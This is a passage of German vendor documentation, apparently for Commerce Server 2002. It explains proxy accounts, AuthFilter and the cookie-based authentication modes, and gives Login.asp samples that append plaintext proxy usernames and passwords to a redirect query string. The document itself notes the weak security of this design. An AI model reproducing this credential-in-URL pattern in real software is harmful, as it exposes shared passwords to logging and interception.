Hierzu werden die Benutzerkonten in einer Datenbank wie SQL Server gespeichert, die besser skaliert als Active Directory. Eine weitaus geringere Anzahl an Windows-Konten, die Proxykonten, werden in Active Directory gespeichert. Eine große Benutzerzahl, für dieses Szenario meistens mehrere Millionen, kann also einer kleinen Anzahl von Proxykonten zugeordnet werden. Hierdurch wir auch die Verwaltung der Berechtigungen vereinfacht, da die Zugriffssteuerlisten für eine geringe Anzahl von Windows-Konten konfiguriert werden müssen. Jeder Benutzer kann durch eine bestimmte Rolle identifiziert werden, über die der Benutzer einem bestimmten Proxykonto zugewiesen wird.

Hinweis

  • Die Zuordnung von Benutzerkonten zu Proxykonten ist ein sitespezifischer Vorgang. Damit die Eigenschaften zur Bestimmung der Benutzerrolle aus der SQL Server-Datenbank abgefragt werden können, muss der Anmeldeseite ein Mechanismus hinzugefügt werden. Die Anmeldeseite erhält dann die Proxy-Anmeldeinformationen für diese Rolle aus Active Directory und übermittelt sie dem Benutzer in einem Sitzungscookie. Weitere Informationen finden Sie unter Code für die Implementierung von Proxykonten.

Im Folgenden finden Sie eine Zusammenfassung der Vor- und Nachteile von Proxykonten.

Vorteile von Proxykonten

  • Bessere Leistung: Die Benutzerauthentifizierung mit SQL Server ist weitaus schneller als die mit Active Directory.
  • Skalierbarkeit: Wenn Sie die empfohlene Obergrenze von Benutzern pro Active Directory-Domäne (ca. 10 Millionen Benutzer) überschreiten, müssen Sie zusätzliche Partitionen oder Domänen hinzufügen. Hierdurch wird die Verwaltung von Active Directory erschwert. In einer einzelnen SQL Server-Datenbank können weitaus mehr Benutzer verwaltet werden, indem einfach weitere Laufwerke oder Prozessoren hinzugefügt werden.
  • Geringere Gesamtkosten: Obwohl in Active Directory eine weitaus größere Anzahl von Objekten gespeichert werden können, empfiehlt es sich aus Leistungsgründen, im E-Business-Bereich nicht mehr als drei Millionen Objekte/Benutzer pro Domäne in Active Directory zu speichern.

    Commerce Server unterstützt die Partitionierung zwischen mehreren Gesamtstrukturen, um eine Skalierung von Active Directory zu ermöglichen. Diese Funktion wurde für bis zu 10 Millionen Objekte/Benutzer getestet. Es ist jedoch keine feste Obergrenze vorhanden.

    SQL Server kann eine weitaus größere Anzahl von Benutzerkonten pro System als Active Directory verwalten. Hierdurch werden die Gesamtkosten reduziert, wenn mehr als 10 Millionen Windows-Konten gespeichert werden.

  • Einfachere Verwaltung: Da Benutzer auf Ihre Site über die Anmeldeinformationen des Proxykontos für die jeweilige Rolle zugreifen und Millionen von Benutzern ein nur wenigen Rollen zugeordnet werden können, ist der Aufwand für die Konfiguration der ACLs sehr gering.

Nachteile von Proxykonten

  • Geringere Sicherheit: SQL Server speichert Kennwörter in Klartext (Kennwörter können jedoch auch mithilfe der Verschlüsselungsfunktion des Profilsystems verschlüsselt werden), in Active Directory werden sie jedoch (in der Standardeinstellung) verschlüsselt. Deshalb ist die Verwendung von Proxykonten aus systeminternen Gründen weniger sicher als die Speicherung aller Benutzerkennwörter in Active Directory.

Wichtig

  • Aufgrund der oben aufgeführten Nachteile sollten Proxykonten nicht in Business-to-Consumer-Umgebungen wie der Retail-Lösungssite implementiert werden.

Siehe auch

Verwalten von verschlüsselten Profileigenschaften


Erteilen von Zugriffsrechten für Benutzer mithilfe von Proxykonten

Die Informationen in diesem Thema richten sich an Systemadministratoren und Siteentwickler. In diesem Thema finden Sie Informationen zu den Voraussetzungen für die Verwendung von Proxykonten. Darüber hinaus finden Sie hier detaillierte Angaben, wie Benutzern bei der Verwendung von Proxykonten der Zugriff auf Ihre Site gewährt wird. Diese Informationen werden von Siteentwicklern benötigt, um die Anmeldeseite in einem solchen Szenario anzupassen.

Die folgenden Voraussetzungen müssen für die Verwendung von Proxykonten erfüllt sein:

  • Die Site wird im Windows-Authentifizierungsmodus betrieben.
  • AuthFilter ist aktiviert.
  • In Active Directory wurde für jede Rolle ein Windows-Benutzerkonto (Proxykonto) erstellt.
  • Die Benutzerkonten für die Benutzerauthentifizierung sind in einer Datenbank wie SQL Server gespeichert.
  • Die Clientbrowser müssen Cookies unterstützen.

Wichtig

  • Da SQL Server-Kennwörter im Netzwerk im Klartextformat übertragen werden, wird dringend empfohlen, mithilfe von Firewalls eine demilitarisierte Zone (DMZ) zu implementieren. Informationen zu demilitarisierten Zonen finden Sie unter Sichern des Netzwerks.

Erteilen von Zugriffsrechten für eine Site mithilfe der Windows-Authentifizierung, AuthFilter und Proxykonten

Die Benutzer werden ähnlich wie bei der Windows-Authentifizierung mit AuthFilter authentifiziert (siehe Windows-Authentifizierungsmodus). Wie unten dargestellt besteht der Unterschied darin, dass die Benutzer mithilfe von Proxykontos auf die Site zugreifen.

Die folgende Abbildung zeigt, wie einem Benutzer im Windows-Authentifizierungsmodus mit AuthFilter und Proxykonten Zugriff auf die Site gewährt wird.

Windows-Authentifizierung und Proxykonten


Aktivieren von Proxykonten

Führen Sie folgende Schritte durch, um Proxykonten für Ihre Site zu implementieren:

  • Entpacken Sie eine Lösungssite.
  • Aktivieren Sie AuthFilter im Windows-Authentifizierungsmodus für Ihre Site.
  • Erstellen Sie Benutzerkonten (Proxykonten) in Active Directory.
  • Fügen Sie den Profildefinitionen Ihrer Site neue Eigenschaften hinzu.
  • Erstellen Sie Benutzerkonten in SQL Server.

Erstellen von Windows-Benutzerkonten in Active Directory

Erstellen Sie in Active Directory für jede Rolle ein Windows-Benutzerkonto.

Hinzufügen von neuen Eigenschaften zu den Profildefinitionen Ihrer Site

Fügen Sie den Profildefinitionen Ihrer Site zwei neue Eigenschaften hinzu. Eine Eigenschaft enthält den Namen des Proxykontos (das sich in Active Directory befindet), die andere Eigenschaft wird verwendet, um das Kennwort des Proxykontos in der SQL Server-Datenbank zu speichern, damit es als Klartext abgerufen werden kann. Die Kennworteigenschaft sollte verschlüsselt werden. Informationen zu diesem Verfahren finden Sie unter Hinzufügen von Eigenschaften zu einer Profildefinition.

Hinweise

  • Die Eigenschaft für den Namen des Proxykontos muss ein Zeichenfolgenwert sein, muss Daten zugeordnet sein und muss eine erforderliche Eigenschaft sein.
  • Die Eigenschaft zur Speicherung des Kennworts für das Proxykonto muss ein Zeichenfolgenwert sein, muss Daten zugeordnet sein und muss für die asymmetrische Verschlüsselung konfiguriert sein, damit das Kennwort im Klartextformat an die Anmeldeseite zurückgegeben werden kann.
  • Das Proxykennwort in Active Directory und das Proxykennwort werden nicht synchronisiert. Wenn Sie das Kennwort für ein Proxykonto in Active Directory ändern, müssen Sie das Proxykontokennwort in SQL Server für jeden Benutzer entsprechend ändern.

Aktualisieren Sie Login.asp für Ihre Site. Die Seite Login.asp muss aktualisiert werden, damit sie neben der Authentifizierung von Benutzern die folgenden Schritte durchführen kann:

  • Abrufen des Profils und Auslesen des Proxykontos mitsamt des Kennworts für den Benutzer.
  • Setzen des MSCSAuth-Tickets mit der Benutzer-ID des Benutzers. Bei den in der Anforderungszeichenfolge an den Filter weitergegebenen Anmeldeinformationen handelt es sich jedoch um die des Proxykontos. Beachten Sie, dass es notwendig ist, die GUID-Eigenschaft im Ticket und in der Anforderungszeichenfolge zu setzen, damit AuthFilter in seinem Kennwortcache nach der GUID und nicht der Benutzer-ID auf dem Ticket sucht.

Weitere Informationen finden Sie unter Konfigurieren von "Login.asp", sodass eine GUID verwendet wird.

Eine Beispiel für die Seite Login.asp, in der die Verwendung von Proxykonten implementiert wurde, finden Sie unter "Code für die Implementierung von Proxykonten".

Hinweis

  • Das Kennwort muss im Klartextformat an die Anmeldeseite zurückgegeben werden. Aus diesem Grund wird das Kennwort für das Proxykonto im Profil gespeichert.

Weitere Informationen hierzu finden Sie unter Klartextkennwörter.

Erstellen von Benutzerkonten in SQL Server

Ordnen Sie den Benutzerkonten (in SQL) Proxykonten (in Active Directory) zu.

Hinweise

  • Geben Sie beim Erstellen von neuen Benutzern die Rolle des Benutzers ein. Bei vorhandenen Benutzern müssen Sie die Rolle für jedes Benutzerkonto eingeben.
  • Der Administrator, der die Benutzer hinzufügt, muss auch das Proxykennwort für die Benutzerrolle eingeben. Hierbei handelt es sich um die Eigenschaft, die dem Profil hinzugefügt wurde.
  • Beim Implementieren von Proxykonten für Ihre Site muss jedes Benutzerkonto (in SQL Server) einem Proxykonto (in Active Directory) zugeordnet werden.

Auf dem Active Directory-Domänencontroller muss die Anmeldung für Domänenbenutzer lokal konfiguriert sein.

Siehe auch

POST-Methode

Hinzufügen von Eigenschaften zu einer Profildefinition

AuthFilter und DDoS-Angriffe

BizDeskSecurity Object (englisches Thema)

AuthManager Object (englisches Thema)

Klartextkennwörter


Zulassen, dass Benutzer Proxykonten wechseln

Sie können es Besuchern Ihrer Site ermöglichen, sich mithilfe eines anderen Proxykontos erneut in Active Directory zu authentifizieren.

Es ist z. B. möglich, das Konto, unter dem der Benutzer angemeldet ist, nahtlos zu wechseln. Bei der ersten Authentifizierung des Benutzers werden auf der Anmeldeseite die korrekten Anmeldeinformationen für das Proxykonto (Proxy1) ausgewählt und an AuthFilter weitergegeben, der sie zur Authentifizierung des Benutzers an IIS übermittelt. Wenn der Benutzer nun auf ein Verzeichnis zugreifen möchte, für das die Anmeldeinformationen eines anderen Proxykontos (Proxy2) erforderlich sind, findet eine Umleitung zur Seite Login.asp statt, da die Seite nicht mit den aktuellen Anmeldeinformationen geöffnet werden kann. Auf der Anmeldeseite werden die neuen Anmeldeinformationen (Proxy2) an AuthFilter übergeben, der diese wiederum an IIS weitergibt, damit sich der Benutzer übergangslos mithilfe der neuen Anmeldeinformationen anmelden kann.

Zur Unterstützung dieses Szenarios muss Login.asp um anwendungsspezifischen Code erweitert werden. Dieser hat die Aufgabe, bereits authentifizierte Benutzer zu erkennen sowie die Anmeldeinformationen für Proxy2 abzurufen und an den Filter zu übergeben. Beachten Sie Folgendes: Da für den Benutzer bereits eine GUID-Eigenschaft im MSCSAuth-Ticket festgelegt ist (diese wurde hinzugefügt, damit AuthFilter in seinem Kennwortcache nach der GUID und der Benutzer-ID sucht), sollte diese GUID an den Filter weitergegeben und keine neue GUID generiert werden. Der Benutzer muss dann von der Anwendung dem korrekten Proxykonto zugeordnet werden. AuthFilter stellt lediglich sicher, dass bei der Zugriffsverweigerung für eine Benutzeranforderung die Anforderung zur Anmeldeseite umgeleitet wird.

Siehe auch

  • Proxykonten


Verwenden von Proxykonten in einer Webfarm

Wenn ein Benutzer zu einem anderen Webserver umgeleitet wird, obwohl die Anmeldeinformationen ein gültiges MSCSAuth-Ticket enthalten, befinden sich die Anmeldeinformationen nicht im Kennwortcache von AuthFilter. Daher wird die Anforderung an die Anmeldeseite umgeleitet.

Ähnlich wie bei der Windows-Authentifizierung in einer Webfarm ohne Proxykonten muss auch hier eine Logik hinzugefügt werden, mit der eine nahtlose Anmeldung ermöglicht wird. Der Unterschied besteht darin, dass im Fall von Proxykonten eine GUID-Eigenschaft für das Ticket festgelegt wird, damit AuthFilter den Kennwortabgleich nicht anhand der Benutzer-ID sondern anhand der GUID ausführt. Wenn die Anmeldeinformationen über die Anforderungszeichenfolge an den Filter weitergegeben werden, muss diese im Ticket enthaltene GUID (erstellen Sie keine neue GUID) ebenfalls in der Anforderungszeichenfolge weitergegeben werden.

Beispielcode, mit dem Login.asp für die Verwendung von Proxykonten konfiguriert wird, finden Sie unter Code für die Implementierung von Proxykonten in einer Webfarm.

Siehe auch

Proxykonten

AuthFilter und DDoS-Angriffe

Konfigurieren von "Login.asp", sodass eine GUID verwendet wird


Code für die Implementierung von Proxykonten

Der folgende Beispielcode ist ein Ausschnitt aus einer Datei Login.asp, die zur Unterstützung von Proxykonten angepasst wurde.

' if the user has a valid authticket but was redirected here, it must mean that the request was bounced to a new server on the farm
' and the authfilter on this server does not have the credentials in its cache
if (objAuth.IsAuthenticated()) then
' retrieve the userid from the authticket
strUserID = objAuth.GetUserID(1)

' retrieve the profile for the user
Set objMSCSProfileService = Application("MSCSProfileService")
Set objMSCSProfileObj = objMSCSProfileService.GetProfile(strUserID, "UserObject")' GetUserProfileByLoginName(strUsername)
if (objMSCSProfileObj is nothing) then
' clear the authticket before redirecting back to login page because the profile for the user does
' not exist and will treat this as a new login request
objAuth.SetAuthTicket "", true, 90
Response.Redirect "Login.asp"
end if

' these are the new properties that were created to extend the user profile to contain the proxyuser and proxypassword values
proxyUser = objMSCSProfileObj.Fields.Item("GeneralInfo").Value.Item("proxy_user")
proxyPassword = objMSCSProfileObj.Fields.Item("GeneralInfo").Value.Item("proxy_password")

' Festlegen der Benutzer-ID im Auth-Ticket
objAuth.SetAuthTicket strUserID, True, 90

' appened the proxyuser and proxypassword the querystring to allow the authfilter to use these credentials
strRetAsp = Request.Cookies("MSCSFirstRequestedURL")
strRetAsp = strRetAsp + "&proxyuser="
strRetAsp = strRetAsp + proxyUser
strRetAsp = strRetAsp + "&proxypwd="
strRetAsp = strRetAsp + proxyPassword

' create a new guid to allow the authfilter to do lookups in its password cache based on the guid and not the userid in the ticket
Set objGenID =  Server.CreateObject("Commerce.GenID") '$PERF: store one in Application scope in GLOBAL.ASA, Application("MSCSAuthGenID")
strGUID = objGenID.GenGUIDString

' set the guid property in the authticket and append it to the querystring as well
objAuth.SetProperty 2, "guid", strGUID ' nach dem Setzen des Tickets
strRetAsp = strRetAsp + "&guid="
strRetAsp = strRetAsp + strGUID

Response.Redirect strRetAsp
end if

Siehe auch

Aktivieren von Proxykonten


Code für die Implementierung von Proxykonten in einer Webfarm

Der folgende Beispielcode ist ein Ausschnitt aus einer Datei Login.asp, die zur Unterstützung von Proxykonten in einer Webfarm angepasst wurde.

' if the user has a valid authticket but was redirected here, it must mean that the request was bounced to a new server on the farm
' and the authfilter on this server does not have the credentials in its cache
if (objAuth.IsAuthenticated()) then
' retrieve the userid from the authticket
strUserID = objAuth.GetUserID(1)

' retrieve the profile for the user
Set objMSCSProfileService = Application("MSCSProfileService")
Set objMSCSProfileObj = objMSCSProfileService.GetProfile(strUserID, "UserObject")' GetUserProfileByLoginName(strUsername)
if (objMSCSProfileObj is nothing) then
' clear the authticket before redirecting back to login page because the profile for the user does
' not exist and will treat this as a new login request
objAuth.SetAuthTicket "", true, 90
Response.Redirect "Login.asp"
end if

' these are the new properties that were created to extend the user profile to contain the proxyuser and proxypassword values
proxyUser = objMSCSProfileObj.Fields.Item("GeneralInfo").Value.Item("proxy_user")
proxyPassword = objMSCSProfileObj.Fields.Item("GeneralInfo").Value.Item("proxy_password")

' Anfügen von proxyuser und proxypassword an die Anforderungszeichenfolge, damit AuthFilter diese Anmeldeinformationen verwenden kann
strRetAsp = Request.Cookies("MSCSFirstRequestedURL")
strRetAsp = strRetAsp + "&proxyuser="
strRetAsp = strRetAsp + proxyUser
strRetAsp = strRetAsp + "&proxypwd="
strRetAsp = strRetAsp + proxyPassword

' retrieve the guid that is already in the authticket
strGUID = objAuth.GetProperty 1, "guid"
if len(strGUID) = 0 then
' if there isn't one, then create a new one
Set objGenID =  Server.CreateObject("Commerce.GenID")
strGUID = objGenID.GenGUIDString
objAuth.SetProperty 2, "guid", strGUID ' after setting Ticket
end if

' append the guid to the querystring as
strRetAsp = strRetAsp + "&guid="
strRetAsp = strRetAsp + strGUID

' redirect to the originally requested url
Response.Redirect strRetAsp
end if

Siehe auch

Aktivieren von Proxykonten

Verwenden von Proxykonten in einer Webfarm


Benutzerdefinierter Authentifizierungsmodus

Bei der benutzerdefinierten Authentifizierung ist für den Zugriff auf jede ASP-Seite oder jedes Verzeichnis innerhalb der Commerce Server-Site eine Anmeldung erforderlich. AuthFilter führt einen Abgleich mit dem virtuellen Verzeichnis der Commerce Server-Site durch und überprüft dann die Verwaltungsdatenbank von Commerce Server, um festzustellen, ob die benutzerdefinierte Authentifizierung für diese Site aktiviert ist.

Wenn das vom Benutzer übergebene MSCSAuth-Ticket zum Zeitpunkt der Zugriffsanforderung für eine ASP-Seite oder ein Verzeichnis nicht gültig ist, verlangt AuthFilter die Eingabe von Benutzeranmeldeinformationen. Wenn ein Benutzer Anmeldeinformationen an die Anmeldeseite übergibt, überprüft die Anmeldeseite diese Informationen mithilfe einer SQL Server-Datenbank oder einer anderen Art von Datenbank.

Nach der Authentifizierung des Benutzers gibt die Seite Login.asp ein MSCSAuth-Ticket aus. AuthFilter überprüft bei der Authentifizierung der Anforderung das MSCSAuth-Ticket, um zu bestimmen, ob die Anforderung ausgeführt werden soll.

In diesem Modus hat der Entwickler der Website die Möglichkeit, einen benutzerdefinierten Authentifizierungsvorgang für den Zugriff auf die Site bereitzustellen und gleichzeitig weiterhin die Basisdienste von AuthFilter zu nutzen.

Dieser Abschnitt beinhaltet folgende Themen:

  • Verarbeitung von Benutzeranforderungen im benutzerdefinierten Authentifizierungsmodus
  • Aktivieren der benutzerdefinierten Authentifizierung


Verarbeitung von Benutzeranforderungen im benutzerdefinierten Authentifizierungsmodus

Wenn Sie die benutzerdefinierte Authentifizierung aktivieren, führt AuthFilter nach dem Eintreten des SF_NOTIFY_PREPROC_HEADERS-Ereignisses folgende Schritte aus:

  1. Der lokale Sitecache wird auf Eigenschaften für die Sitekonfiguration überprüft. Werden diese dort nicht gefunden, werden die Eigenschaften für die Sitekonfiguration mithilfe des SiteConfig-Objekts aus der Verwaltungsdatenbank abgerufen und im Sitecache gespeichert.
  2. Es wird überprüft, ob der URL richtig angegeben wurde, und die Groß- und Kleinschreibung des URLs wird automatisch korrigiert.
  3. AuthFilter überprüft, ob Sitzungscookies unterstützt werden. Stehen diese nicht zur Verfügung, wird der Benutzer zu der ASP-Seite (Active Server Page) umgeleitet, die in der CS-Authentifizierungsressource in der Eigenschaft des Formulars "Keine Cookies" angegeben wurde. Normalerweise wird der Benutzer auf dieser Seite darüber informiert, dass Cookies erforderlich sind, und aufgefordert, die Anforderung nach dem Aktivieren der Cookies erneut zu übermitteln.
  4. Es wird überprüft, ob das Cookie ein MSCSAuth-Ticket enthält. Liegt dies nicht vor, wird der Benutzer zu einer Anmeldeseite umgeleitet.
  5. Wenn das Cookie ein MSCSAuth-Ticket enthält, wird die aktuelle Zeit mit dem Zeitpunkt der letzten Anmeldung auf dem Ticket verglichen und ermittelt, ob das im Ticket angegebene Zeitfenster noch gültig ist.
  6. Wenn die aktuelle Zeit außerhalb des im Ticket angegebenen Zeitfensters liegt, wird der Benutzer als nichtauthentifizierter Benutzer zur Anmeldeseite umgeleitet.
  7. Wenn die aktuelle Zeit innerhalb des im Ticket angegebenen Zeitfensters liegt, wird das Ticket als gültig betrachtet und der Benutzer als authentifizierter Benutzer zur angeforderten Seite umgeleitet. Wenn die aktuelle Zeit innerhalb von fünf Minuten des Zeitpunkts der letzten Anmeldung plus dem Zeitfenster liegt, wird die im Ticket angegebenen Zeit der letzten Anmeldung auf die aktuelle Zeit gesetzt, sodass ein aktive Benutzer weiterhin browsen kann.

Siehe auch

Verarbeitung von Benutzeranfragen im Windows-Authentifizierungsmodus

Aktivieren der benutzerdefinierten Authentifizierung

Authentifizierungsfeatures


Aktivieren der benutzerdefinierten Authentifizierung

Wenn die benutzerdefinierte Authentifizierung implementiert werden soll, können Sie diese mithilfe von AuthFilter in die Site integrieren. Bei der benutzerdefinierten Authentifizierung überprüft AuthFilter das Vorhandensein eines gültigen MSCSAuth-Tickets. Wird kein gültiges MSCSAuth-Ticket gefunden, wird der Benutzer zu einer Anmeldeseite umgeleitet. Dort können Sie durch Überprüfen der Anmeldeinformationen und dem anschließenden Festlegen eines MSCSAuth-Tickets eine eigene benutzerdefinierte Authentifizierung durchführen.

Sie können z. B. während der Benutzeranmeldung mithilfe des Profilsystems die Zugriffsrechte aus dem Benutzerprofil abrufen. Das Profilsystem ruft Benutzerinformationen aus einer Datenquelle ab. Dabei kann es sich um eine Microsoft SQL Server-Datenbank, das Windows 2000 Active Directory, eine andere OLE DB-kompatible Datenquelle oder eine LDAP-Datenquelle (Lightweight Directory Access Protocol) ab Version 3 handeln.

So aktivieren Sie den Modus "Benutzerdefinierten Authentifizierung"

  1. Erweitern Sie erst Commerce Server-Manager, dann Commerce-Sites, und klicken Sie dann auf die Site, die Sie verwalten möchten.
  2. Erweitern Sie Anwendungen, klicken Sie mit der rechten Maustaste auf den Namen der Anwendung, mit der Sie arbeiten möchten, und klicken Sie dann auf Eigenschaften.
  3. Wählen Sie im Dialogfeld Eigenschaften auf der Registerkarte Allgemein im Feld Authentifizierungsfilter die Option Benutzerdefinierte Authentifizierung, und klicken Sie dann auf OK.

AuthFilter leitet die Benutzeranforderung zur Seite Login.asp um, auf der Benutzeranmeldung und Kennwort mit einer SQL Server-Datenbank oder einem anderen Datenspeicher abgeglichen werden.

Hinweis

  • Nachdem Sie einen Eigenschaftswert im Commerce Server-Manager geändert haben, müssen Sie die Anwendungen aus den Speichern aller Webserver entfernen, damit die Änderungen wirksam werden. Anweisungen finden Sie unter Entfernen einer Anwendung aus dem Speicher.

Siehe auch

Aktivieren der Cookiefreigabe über Domänen hinweg

Aktivieren der Cookiefreigabe über Anwendungen hinweg

Aktivieren der Windows-Authentifizierung

Aktivieren des Autocookiemodus

BizDeskSecurity Object (englisches Thema)

AuthManager Object (englisches Thema)


Autocookiemodus

Mit dem Autocookiemodus wird das Verhalten anonymer Benutzer während des Surfens über mehrere Seiten und Sitzungen hinweg verfolgt. Im Autocookiemodus wird eine eindeutige ID zur Benutzeridentifizierung generiert und falls nötig ein Profil für die Speicherung von Informationen über den Benutzer erstellt. Ein Codebeispiel zu diesen Schritten finden Sie unter Code to Set a New MSCSProfile Ticket (englisches Thema).

Dieser Abschnitt beinhaltet folgende Themen:

  • Verarbeitung von Benutzeranforderungen im Autocookiemodus
  • Aktivieren des Autocookiemodus


Verarbeitung von Benutzeranforderungen im Autocookiemodus

Wenn ein Benutzer eine Zugriffsanforderung an eine Site sendet, führt der ISAPI-Filter AuthFilter die folgenden Schritte aus, nachdem von IIS (Internetinformationsdienste) das Eintreten des SF_NOTIFY_PREPROC_HEADERS-Ereignisses gemeldet wurde:

  1. Der lokale Sitecache wird auf Eigenschaften für die Sitekonfiguration überprüft. Werden diese dort nicht gefunden, werden die Eigenschaften für die Sitekonfiguration mithilfe des SiteConfig-Objekts aus der Verwaltungsdatenbank abgerufen und im Sitecache gespeichert.
  2. Es wird überprüft, ob der URL richtig ist und dabei ggf. automatisch die Groß- und Kleinschreibung korrigiert.
  3. Es wird überprüft, ob der Browser Cookies unterstützt.
  4. Wenn keine Cookies unterstützt werden, wird der Benutzer zu der ASP-Seite (Active Server Pages) umgeleitet, die in der Eigenschaft des Formulars "Keine Cookies" in der CS-Authentifizierungsressource angegeben ist. Normalerweise wird der Benutzer auf dieser Seite darüber informiert, dass Cookies erforderlich sind, und aufgefordert, die Anforderung nach dem Aktivieren der Cookies erneut zu übermitteln. Zu diesem Zweck steht bei Lösungssites die ASP-Standardseite Nocookie.asp zur Verfügung. Diese Datei befindet sich im Ordner AuthFiles im Installationsverzeichnis von Commerce Server.
  5. AuthFilter überprüft, ob die Anforderung ein MSCSProfile-Ticket enthält.

    Hinweis

    • Im Autocookiemodus ist der anonyme Zugriff erlaubt, es sei denn, Sie geben Autocookiemodus mit Windows-Authentifizierung an. Wenn Sie dies angeben, überprüft AuthFilter das Cookie auf Vorhandensein eines gültigen MSCSAuth-Tickets.
  6. Enthält das Cookie ein MSCSProfile-Ticket, verwendet AuthFilter das anonyme Benutzerkonto, um den Benutzer in IIS zu simulieren. In der Standardeinstellung lautet das anonyme Benutzerkonto auf IUSR_<Computername>, wobei <Computername> den Computer bezeichnet, auf dem IIS installiert ist.
  7. Wenn auf den angeforderten URL anonym zugegriffen werden kann, wird dieser zurückgegeben.
  8. Wenn die Anforderung kein MSCSProfile-Ticket enthält, wird der Benutzer auf die ASP-Seite umgeleitet, die in der Eigenschaft des Formulars "AutoCookie" in der CS-Authentifizierungsressource angegeben ist.

Seite "AutoCookie"

Die acht im vorherigen Thema Autocookiemodus aufgelisteten Schritte erfordern keine Aktion durch die Entwickler einer Site. Die folgenden Aktionen werden auf der Seite AutoCookie ausgeführt, die vom Entwickler der Site bereitgestellt werden muss:

  1. Die Unterstützung persistenter Cookies wird überprüft. Ist diese nicht vorhanden, wird der Benutzer zur Seite "Keine Cookies" umgeleitet.
  2. Werden persistente Cookies unterstützt, wird zur Kennzeichnung des Benutzers ein global eindeutiger Bezeichner (Globally Unique Identifier, GUID) oder eine andere eindeutige ID erstellt.
  3. Die eindeutige ID wird in einem MSCSProfile-Ticket für den Benutzer festgelegt.
  4. Zu diesem Zeitpunkt kann ein Profil für das Speichern von Informationen über den anonymen Benutzer erstellt werden.
  5. Der Benutzer wird auf den angeforderten URL umgeleitet.

Die Standardseite Autocookie.asp, die einen Großteil dieser Funktionen bereits enthält, steht nach der Installation des Produkts im Ordner \Microsoft Commerce Server\AuthFiles zur Verfügung.

Siehe auch

Aktivieren des Autocookiemodus

Aktivieren der Cookiefreigabe über Domänen hinweg

Aktivieren der Cookiefreigabe über Anwendungen hinweg


Aktivieren des Autocookiemodus

Wenn Sie den Autocookiemodus aktivieren, überprüft AuthFilter immer, ob der Browser dieses anonyme Cookie verwendet. Liegt im Browser kein anonymes Cookie vor, leitet der Filter den Benutzer an das Formular "AutoCookie" um.

Im Autocookiemodus ist Commerce Server 2002 in der Lage, anonyme Benutzer zu verfolgen. Wenn sich Benutzer mit anonymen Cookies registrieren, kann Commerce Server deren persistente Cookies aktualisieren, sodass die während des anonymen Zugriffs der Benutzer gesammelten Profildaten nicht verloren gehen. Ob Commerce Server das persistente Cookie aktualisiert, hängt jedoch davon ab, wie die jeweilige Anwendung entwickelt wurde.

So aktivieren Sie den Autocookiemodus

  1. Erweitern Sie erst Commerce Server-Manager, dann Commerce-Sites, und klicken Sie dann auf die Site, die Sie verwalten möchten.
  2. Erweitern Sie Anwendungen, klicken Sie mit der rechten Maustaste auf den Namen der Anwendung, mit der Sie arbeiten möchten, und klicken Sie dann auf Eigenschaften.
  3. Wählen Sie im Dialogfeld Eigenschaften auf der Registerkarte Allgemein die Option Autocookie aus, und klicken Sie anschließend auf OK.

Hinweis

  • Nachdem Sie einen Eigenschaftswert im Commerce Server-Manager geändert haben, müssen Sie die Anwendungen aus den Speichern aller Webserver entfernen, damit die Änderungen wirksam werden. Anweisungen finden Sie unter Entfernen einer Anwendung aus dem Speicher.

Siehe auch

Aktivieren der Windows-Authentifizierung

Aktivieren der benutzerdefinierten Authentifizierung

Aktivieren der Cookiefreigabe über Domänen hinweg

Aktivieren der Cookiefreigabe über Anwendungen hinweg

BizDeskSecurity Object (englisches Thema)

AuthManager Object (englisches Thema)


Windows-Authentifizierung mit Autocookiemodus

In diesem Thema wird der Modus der gemischten Authentifizierung der Windows-Authentifizierung mit dem Autocookiemodus beschrieben. In diesem Modus werden sowohl anonyme als auch registrierte Benutzer akzeptiert, und beide Benutzertypen können nachverfolgt werden. Dieser Modus eignet sich besonders für Sites, in denen ein Teil des Inhalts allgemein, der andere Teil jedoch nur für registrierte Benutzer zugänglich ist.

Die grundlegenden Unterschiede zwischen dem gemischten Modus und der Windows-Authentifizierung sind folgende:

  • Im gemischten Modus können anonyme Benutzer nachverfolgt werden.
  • Im gemischten Modus müssen anonyme Benutzer unabhängig von den ACL-Einstellungen (Acces Control List, Zugriffssteuerungsliste) für den Zugriff auf URLs über ein gültiges MSCSProfile-Ticket verfügen. Im Windows-Authentifizierungsmodus benötigen anonyme Benutzer kein Ticket und können auf alle URLs zugreifen, für die anonyme Zugriffsrechte gelten.

So aktivieren Sie die Windows-Authentifizierung mit Autocookiemodus

  1. Erweitern Sie erst Commerce Server-Manager, dann Commerce-Sites, und klicken Sie dann auf die Site, die Sie verwalten möchten.
  2. Erweitern Sie Anwendungen, klicken Sie mit der rechten Maustaste auf den Namen der Anwendung, mit der Sie arbeiten möchten, und klicken Sie dann auf Eigenschaften.
  3. Wählen Sie im Dialogfeld Eigenschaften auf der Registerkarte Allgemein die Option Autocookie aus.
  4. Wählen Sie im Dialogfeld Eigenschaften auf der Registerkarte Allgemein im Feld Authentifizierungsfilter die Option Windows-Authentifizierung. Klicken Sie anschließend auf OK.

Siehe auch

Benutzerdefinierte Authentifizierung mit Autocookiemodus

Tickets für anonyme Benutzer, die sich registrieren


Benutzerdefinierte Authentifizierung mit Autocookiemodus

Bei der Kombination von benutzerdefinierter Authentifizierung und Autocookiemodus können sowohl registrierte als auch anonyme Benutzer auf eine Seite zugreifen, wobei das Navigationsverhalten der anonymen Benutzer über persistente Cookies verfolgt werden kann. Anstatt den Zugriff über ACLs zu steuern, können Sie einen eigenen, benutzerdefinierten Authentifizierungsprozess implementieren.

So aktivieren Sie die benutzerdefinierte Authentifizierung mit Autocookiemodus

  1. Erweitern Sie erst Commerce Server-Manager, dann Commerce-Sites, und klicken Sie dann auf die Site, die Sie verwalten möchten.
  2. Erweitern Sie Anwendungen, klicken Sie mit der rechten Maustaste auf den Namen der Anwendung, mit der Sie arbeiten möchten, und klicken Sie dann auf Eigenschaften.
  3. Wählen Sie im Dialogfeld Eigenschaften auf der Registerkarte Allgemein die Option Autocookie aus.
  4. Wählen Sie im Dialogfeld Eigenschaften auf der Registerkarte Allgemein im Feld Authentifizierungsfilter die Option Benutzerdefinierte Authentifizierung, und klicken Sie dann auf OK.

Hinweis

  • Fügen Sie der Anmeldeseite einen Hyperlink zu einem eigenen virtuellen Stammverzeichnis hinzu, das sich nicht im aktuellen virtuellen Verzeichnisstamm befindet. Legen Sie den gesamten Inhalt für den anonymen Zugriff unter diesem getrennten virtuellen Stammverzeichnis ab.

Siehe auch

Windows-Authentifizierung mit Autocookiemodus

Anonyme Benutzer, die sich registrieren


Konfigurieren der CS-Authentifizierungsressource

Sie können die CS-Authentifizierungseigenschaften für die globale CS-Authentifizierungsressource anzeigen und bearbeiten.

Hinweise

